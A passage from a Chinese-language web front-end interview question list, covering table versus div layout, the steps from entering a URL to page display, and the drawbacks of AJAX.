(8) 避免在頁面的主體布局中使用table,table要等其中的內容完全下載之后才會顯示出來,顯示比div+css布局慢。
95. 一個頁面從輸入 URL 到頁面加載顯示完成,這個過程中都發生了什么?(流程說的越詳細越好)
查找瀏覽器緩存
DNS解析、查找該域名對應的IP地址、重定向(301)、發出第二個GET請求
進行HTTP協議會話
客戶端發送報頭(請求報頭)
服務器回饋報頭(響應報頭)
html文檔開始下載
文檔樹建立,根據標記請求所需指定MIME類型的文件
文件顯示
瀏覽器這邊做的工作大致分為以下幾步:
加載:根據請求的URL進行域名解析,向服務器發起請求,接收文件(HTML、JS、CSS、圖象等)。
解析:對加載到的資源(HTML、JS、CSS等)進行語法解析,建議相應的內部數據結構(比如HTML的DOM樹,JS的(對象)屬性表,CSS的樣式規則等等)
96. ajax的缺點
1、ajax不支持瀏覽器back按鈕。
2、安全問題 AJAX暴露了與服務器交互的細節。
3、對搜索引擎的支持比較弱。
4、破壞了程序的異常機制。
5、不容易調試
*請認真填寫需求信息,我們會在24小時內與您取得聯系。